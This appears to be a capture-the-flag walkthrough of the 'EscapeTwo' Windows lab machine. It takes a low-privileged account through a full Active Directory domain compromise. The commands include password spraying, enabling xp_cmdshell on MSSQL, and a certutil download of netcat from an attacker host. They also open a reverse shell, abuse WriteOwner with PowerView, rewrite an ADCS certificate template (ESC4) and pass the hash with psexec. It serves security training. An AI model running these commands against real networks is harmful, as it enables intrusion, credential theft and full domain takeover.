EscapeTwo - Walkthrough
EscapeTwo is an easy-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. We leverage these credentials to access a file share containing a corrupted Excel document, and by modifying its byte structure extract credentials that are sprayed across the domain to reveal valid MSSQL access. SQL credentials are sprayed again to obtain WinRM access, and domain analysis reveals WriteOwner rights over an account managing ADCS, leading to an ADCS misconfiguration that yields the Administrator hash and complete domain compromise.
We start with low-privileged domain credentials handed to us up front — rose:KxEPkKe6R8su — a common setup for simulating an assumed-breach or insider-threat scenario rather than a pure external attack chain.
Reconnaissance
Nmap
We start by identifying what's actually listening on the host, so we know which services are worth attacking first:
sudo nmap -sC -sV -Pn 10.129.232.128 -oN escape-two.nmap| PORT | STATE | SERVICE | VERSION |
|---|---|---|---|
| 53/tcp | open | domain | Simple DNS Plus |
| 88/tcp | open | kerberos-sec | Microsoft Windows Kerberos |
| 135/tcp | open | msrpc | Microsoft Windows RPC |
| 139/tcp | open | netbios-ssn | Microsoft Windows netbios-ssn |
| 389/tcp | open | ldap | Microsoft Windows Active Directory LDAP (Domain: sequel.htb) |
| 445/tcp | open | microsoft-ds | — |
| 464/tcp | open | kpasswd5 | — |
| 593/tcp | open | ncacn_http | Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | open | ssl/ldap | Microsoft Windows Active Directory LDAP (Domain: sequel.htb) |
| 1433/tcp | open | ms-sql-s | Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | open | ldap | Microsoft Windows Active Directory LDAP (Global Catalog) |
| 3269/tcp | open | ssl/ldap | Microsoft Windows Active Directory LDAP (Global Catalog SSL) |
| 5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0 (WinRM) |
Kerberos (the ticket-based authentication protocol Windows domains use to log accounts in) and LDAP (Lightweight Directory Access Protocol — the query protocol clients use to read/write objects in Active Directory) showing up together confirm a Domain Controller: DC01.sequel.htb, for the domain sequel.htb. Port 5985 is WinRM (Windows Remote Management — the protocol behind PowerShell Remoting and tools like Evil-WinRM), worth remembering once we have valid credentials. The one port that stands out from a typical DC is 1433 — a live MSSQL instance, which ms-sql-ntlm-info confirms belongs to the same host (DC01 / SEQUEL). We register the domain in /etc/hosts and keep MSSQL in mind as a likely second entry point once we have more credentials:
echo "10.129.232.128 sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hostsSMB Enumeration
With rose's credentials we enumerate share access over SMB (Server Message Block — the protocol Windows uses for file/printer sharing, and the transport behind most of the remote administration used later in this box):
nxc smb 10.129.232.128 -u rose -p 'KxEPkKe6R8su' --sharesSMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.232.128 445 DC01 [*] Enumerated shares
SMB 10.129.232.128 445 DC01 Share Permissions Remark
SMB 10.129.232.128 445 DC01 ----- ----------- ------
SMB 10.129.232.128 445 DC01 Accounting Department READ
SMB 10.129.232.128 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.128 445 DC01 C$ Default share
SMB 10.129.232.128 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.128 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.128 445 DC01 SYSVOL READ Logon server share
SMB 10.129.232.128 445 DC01 Users READrose has read access to a non-default share, Accounting Department (line 6) — everything else is the usual DC boilerplate. We connect with Impacket's smbclient to look inside:
impacket-smbclient sequel.htb/rose:'KxEPkKe6R8su'@10.129.232.128# use Accounting Department
# lsdrw-rw-rw- 0 Sun Jun 9 13:11:31 2024 .
drw-rw-rw- 0 Sun Jun 9 13:11:31 2024 ..
-rw-rw-rw- 10217 Sun Jun 9 13:11:31 2024 accounting_2024.xlsx
-rw-rw-rw- 6780 Sun Jun 9 13:11:31 2024 accounts.xlsx# mget acco*Two spreadsheets. We pull both down for a closer look.
Corrupted Excel File — Magic Byte Repair
Before opening either file, we check what they actually are — a mismatch between a file's extension and its real content is exactly what file is built to catch:
file account*accounting_2024.xlsx: Zip archive data, made by v4.5, extract using at least v2.0, last modified Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate
accounts.xlsx: Zip archive data, made by v2.0, extract using at least v2.0, last modified Jun 09 2024 10:47:44, uncompressed size 681, method=deflateaccounting_2024.xlsx opens fine in LibreOffice and turns out to be unremarkable business data. accounts.xlsx is more interesting — file reports it as a plain Zip archive, not as the Microsoft Excel 2007+ label a healthy .xlsx normally gets, and it refuses to extract:
7z x accounts.xlsxPath = accounts.xlsx
Warning: The archive is open with offset
Type = zip
Physical Size = 6780
ERROR: Headers Error : xl/_rels/workbook.xml.rels
Sub items Errors: 1
Archives with Errors: 1An .xlsx file is just a Zip container of XML parts, so xl/_rels/workbook.xml.rels failing to parse points at the container itself, not the spreadsheet content. xxd on the first bytes confirms it:
xxd accounts.xlsx | head -100000000: 5048 0403 1400 0808 0800 f655 c958 0000 PH.........U.X..The real magic bytes for a Zip/.xlsx file are 50 4B 03 04 (PK..) — here we have 50 48 04 03 (PH..): two swapped/corrupted bytes right at the start of the local file header. We open the file in a hex editor, fix those four bytes to 50 4B 03 04, and save:
hexeditor accounts.xlsxfile accounts.xlsxaccounts.xlsx: Microsoft Excel 2007+The file now opens cleanly, and inside is a sheet of credentials — one column of candidate usernames, one of candidate passwords:
cat pass.txt0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!cat users.txtangela
oscar
kevin
saFoothold
Password Spraying — SMB
We spray every password against every username harvested from the spreadsheet:
nxc smb 10.129.232.128 -u users.txt -p pass.txtSMB 10.129.232.128 445 DC01 [-] sequel.htb\angela:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\kevin:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\sa:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBGoscar:86LxLBMgEWaKUnBG is valid, but grants nothing over SMB beyond what rose already had. The sa / MSSQLP@ssw0rd! pair from the same sheet is far more interesting given the MSSQL instance we flagged during recon.
MSSQL — sa Login & xp_cmdshell
nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-authMSSQL 10.129.232.128 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)sa is the built-in SQL Server system administrator account, and netexec already flags it as Pwn3d! — SQL admin on a domain-joined instance almost always translates to code execution. We connect with impacket-mssqlclient and run enable_xp_cmdshell, a convenience shortcut built into the client that issues the sp_configure/RECONFIGURE calls needed to turn on xp_cmdshell — the extended stored procedure that actually shells out to the underlying OS:
impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.232.128SQL (sa dbo@master)> enable_xp_cmdshellSQL (sa dbo@master)> xp_cmdshell whoamioutput
--------------
sequel\sql_svc
NULLCommands run as sequel\sql_svc, the MSSQL service account.
Reverse Shell
On this fresh connection, the enable_xp_cmdshell shortcut doesn't actually leave xp_cmdshell callable — the first attempt to shell out via certutil is rejected as still disabled. Re-issuing the two sp_configure calls by hand, each followed by its own RECONFIGURE, is what finally gets the option to stick:
SQL (sa dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.246:4000/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server.SQL (sa dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL (sa dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL (sa dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.246:4000/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';output
---------------------------------------------------
**** Online ****
CertUtil: -URLCache command completed successfully.With nc64.exe staged, we start a listener with penelope, a multi-session reverse shell handler that upgrades the incoming shell automatically:
python3 penelope.py -p 4455[+] Listening for reverse shells on 0.0.0.0:4455 -> 127.0.0.1 • 192.168.122.194 • 10.10.14.246Then we run nc64.exe with -e cmd.exe to call back to it:
SQL (sa dbo@master)> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe -e cmd.exe 10.10.14.246 4455';[+] [New Reverse Shell] => DC01 10.129.232.128 Microsoft_Windows_Server_2019_Standard-x64-based_PC 👤 sequel\sql_svc 😍️ Session ID <1>
C:\Windows\system32> whoami
sequel\sql_svcA shell as sql_svc.
Post-Exploitation
SQL Server Install Files — More Credentials
C:\ has a leftover SQL2019 installer directory. Its unattended-install answer file is worth checking:
C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL="0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SAPWD="MSSQLP@ssw0rd!"Line 18 shows the domain account, SEQUEL\sql_svc, and line 19 hands us its password in plaintext, WqSZAF6CysDQbGb3 — a real credential for the account we're already running as, and one more thing to spray with.
Domain User Enumeration & Password Spraying
A single reused password is only useful if we know every account to try it against, so we list the domain's users from the shell we already have:
C:\SQL2019\ExpressAdv_ENU> net userUser accounts for \\DC01
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svcWe add these to users.txt, which so far only held the names recovered from the spreadsheet (angela, oscar, kevin, sa), giving us the full account list to spray:
cat users.txtangela
oscar
kevin
sa
Administrator
ca_svc
Guest
krbtgt
michael
rose
ryan
sql_svcSpraying sql_svc's password against the full user list:
nxc smb sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3'SMB 10.129.232.128 445 DC01 [-] sequel.htb\angela:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\kevin:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\sa:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\Guest:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\krbtgt:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [-] sequel.htb\rose:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.129.232.128 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3ryan reused the service account's password. WinRM confirms it's usable for a full remote session:
nxc winrm sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3'WINRM 10.129.232.128 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)WinRM Access — User Flag
With a confirmed working credential pair, we connect for an interactive shell instead of just a protocol check:
evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txtUser flag: dfb7d93410b0313ced851d3e607f808b
BloodHound — WriteOwner over ca_svc
With a proper domain session, we collect the domain's AD structure and ACLs for BloodHound to graph — see Appendix — Setting Up BloodHound Locally for how the collector itself gets installed and its default password recovered:
bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.129.232.128 -c all --zipThis produces a timestamped zip we drag straight into the BloodHound UI. Looking at ryan's outbound edges, BloodHound shows it holding WriteOwner over the ca_svc account — the ability to change who owns that AD object, and from there, to grant ourselves further rights over it. ca_svc immediately stands out as a target: an account with svc in the name managing Certificate Services is worth a closer look at ADCS (Active Directory Certificate Services — the AD role that acts as an internal PKI, issuing certificates domain members can use to authenticate) once we control it.
Privilege Escalation
Abusing WriteOwner — PowerView
Every AD object carries a DACL (Discretionary Access Control List — the list of permissions attached to it), made up of individual ACEs (Access Control Entries — one rule each, like "ryan: allow ResetPassword"). WriteOwner alone doesn't let ryan reset ca_svc's password directly — it only lets him change the object's owner. But in Active Directory, the owner of an object can always modify its DACL, regardless of what ACEs currently exist on it. So the abuse chain is: take ownership as ryan, then — now that ryan is the owner — grant ryan an explicit ResetPassword ACE, and finally use that new right to set a password we know.
PowerView isn't something we write ourselves — Kali ships a copy bundled with PowerShell Empire, which locate finds for us:
locate powerview.ps1/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1We upload that script and drive the abuse chain through it:
*Evil-WinRM* PS C:\Users\ryan\Desktop> upload /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1
*Evil-WinRM* PS C:\Users\ryan\Desktop> Import-Module .\powerview.ps1
*Evil-WinRM* PS C:\Users\ryan\Desktop> Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan"
*Evil-WinRM* PS C:\Users\ryan\Desktop> Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan"
*Evil-WinRM* PS C:\Users\ryan\Desktop> $cred = ConvertTo-SecureString "Password123!!" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\ryan\Desktop> Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $crednxc smb sequel.htb -u ca_svc -p 'Password123!!'SMB 10.129.232.128 445 DC01 [+] sequel.htb\ca_svc:Password123!!We now control ca_svc outright.
ADCS Enumeration — ESC4 on DunderMifflinAuthentication
ca_svc is a member of Cert Publishers, the group allowed to publish certificates to the directory — a strong hint that Active Directory Certificate Services is in scope. certipy-ad find enumerates the CA (Certificate Authority — the server role that actually signs and issues certificates) and its templates (the reusable "forms" a CA uses to decide what a given certificate request is allowed to contain):
certipy-ad find -u '[email protected]' -p 'Password123!!' -dc-ip 10.129.232.128 -stdoutThis dumps the CA plus all 34 certificate templates in the domain; only the CA and the one template that matters are shown below:
Certificate Authorities
0
CA Name : sequel-DC01-CA
DNS Name : DC01.sequel.htb
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : DunderMifflinAuthentication
Display Name : Dunder Mifflin Authentication
Certificate Authorities : sequel-DC01-CA
Enabled : True
Client Authentication : True
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireCommonName
Enrollment Flag : PublishToDs
AutoEnrollment
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Permissions
Object Control Permissions
Owner : SEQUEL.HTB\Enterprise Admins
Full Control Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Cert Publishers
[!] Vulnerabilities
ESC4 : User has dangerous permissions.Cert Publishers — the group ca_svc belongs to — holds Full Control over the template (line 34), which on its own is already enough: Full Control implies Write Owner and Write Dacl, since whoever fully controls an object can freely reassign its owner or rewrite its DACL anyway. That's why the same group also shows up under those two categories (lines 37 and 40) — not as separate grants, just Certipy listing the consequences of the one underlying permission. Holding this over a certificate template is ESC4: whoever controls a template's ACL (Access Control List — the set of permissions attached to the object) can rewrite the template's own settings into something exploitable, then request a certificate from it.
Exploiting ESC4 — Rewriting the Template
We back up the current template configuration first, then use certipy-ad template's -write-default-configuration flag, which overwrites the template with Certipy's known-vulnerable baseline: enrollee-supplies-subject enabled, Client Authentication EKU (Extended Key Usage — the certificate field that limits what the certificate can actually be used for, e.g. logging in vs. just encrypting email) present, and no manager approval required — the exact shape ESC1 needs, applied to a template we now fully control:
certipy-ad template -u [email protected] -p 'Password123!!' -template DunderMifflinAuthentication -save-configuration DunderMifflin-original -dc-ip 10.129.232.128certipy-ad template -u [email protected] -p 'Password123!!' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.129.232.128[*] Successfully updated 'DunderMifflinAuthentication'With the template now enrollee-controlled, we request a certificate directly for the administrator UPN (User Principal Name — the user@domain identity, e.g. [email protected], that the certificate will vouch for):
certipy-ad req -username [email protected] -p 'Password123!!' -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128 -target 10.129.232.128 -upn [email protected][*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'The last step is exchanging that certificate for something usable: certipy-ad auth authenticates to Kerberos via PKINIT (the Kerberos extension that accepts a certificate in place of a password to prove identity), which hands back a TGT (Ticket Granting Ticket — the credential Kerberos issues after a successful login, used to request access to other services without re-entering a password) for administrator. From that TGT, Certipy also recovers the account's NT hash (the hashed form of the password Windows actually stores and authenticates with — usable on its own for Pass-the-Hash, without ever knowing the plaintext):
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.128[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ffLine 5 is the payoff: the Administrator NT hash, 7a8d4e04986afa8ed4060f75e5a0b3ff — full domain compromise from here on is just a matter of using it.
Root Flag
With the Administrator NT hash in hand, we have two equally valid ways in: Evil-WinRM for an interactive Administrator session, since WinRM was already confirmed open and working earlier for ryan, or impacket-psexec for a NT AUTHORITY\SYSTEM shell instead:
evil-winrm -i 10.129.232.128 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ffWe use psexec here:
impacket-psexec [email protected] -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff[*] Found writable share ADMIN$
[*] Uploading file doHRrZLQ.exe
[*] Opening SVCManager on 10.129.232.128.....
[*] Starting service VKVb.....
C:\Windows\system32> whoami
nt authority\systemC:\Users\Administrator\Desktop> type root.txtRoot flag: fa6ad9cb0ead5f16849a373f8d295e26
Appendix — Setting Up BloodHound Locally
The commands in BloodHound — WriteOwner over ca_svc assume a running BloodHound instance to ingest into. Kali ships an older, all-in-one package (BloodHound Legacy, Neo4j + PostgreSQL bundled) that's enough to follow along, but BloodHound CE (the actively developed Community Edition, run via Docker) is the current recommended path. Both are shown here.
Option A — BloodHound Legacy (apt package)
sudo apt update && sudo apt install -y bloodhoundThis pulls in neo4j, sharphound, and the legacy bloodhound package itself. First run needs bloodhound-setup to provision the PostgreSQL and Neo4j backends:
sudo bloodhound-setup[i] You need to change the default password for neo4j
Default credentials:
user: neo4j
password: neo4j
[!] IMPORTANT: Once you have setup the new password, please update /etc/bhapi/bhapi.json with the new password before running bloodhound
opening http://localhost:7474/Lines 2-4 are the important part: Neo4j itself (the graph database BloodHound sits on top of) starts with the well-known default credentials neo4j:neo4j, which the setup script expects you to rotate before continuing. From then on, bloodhound-start brings the same stack up on subsequent boots.
Option B — BloodHound CE (bloodhound-cli + Docker)
bloodhound-cli is SpecterOps' installer for the newer, Docker-based Community Edition:
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install[+] Checking the status of Docker and the Compose plugin...
docker is installed on this system, but the daemon is not running or access was denied.The Docker daemon needs root to talk to, so a plain user-level invocation fails the pre-flight check. Re-running with sudo gets past it and drives the full install — pulling the neo4j, postgres, and bloodhound images, then bringing the stack up with Compose:
sudo ./bloodhound-cli install[+] Checking the status of Docker and the Compose plugin...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
...
[+] BloodHound is ready to go!
[+] You can log in as `admin` with this password: nzhfpSxd4AO1DvGBsBtdzIjseeGVOOPj
[+] You can get your admin password by running: bloodhound-cli config get default_password
[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/loginLine 6 hands us the auto-generated admin password straight in the install output. If it scrolls past, bloodhound-cli can print it again on demand — no need to reinstall or dig through Docker logs:
bloodhound-cli config get default_passwordWith the UI reachable at http://127.0.0.1:8080/ui/login, we log in as admin and ingest the zip produced by bloodhound-python earlier.
Stopping and Restarting
Neither option needs a full reinstall after a reboot — just bringing the same stack back up.
For Option B (CE), bloodhound-cli's up/down are shortcuts for containers up/containers down — no need to re-run install:
bloodhound-cli downbloodhound-cli up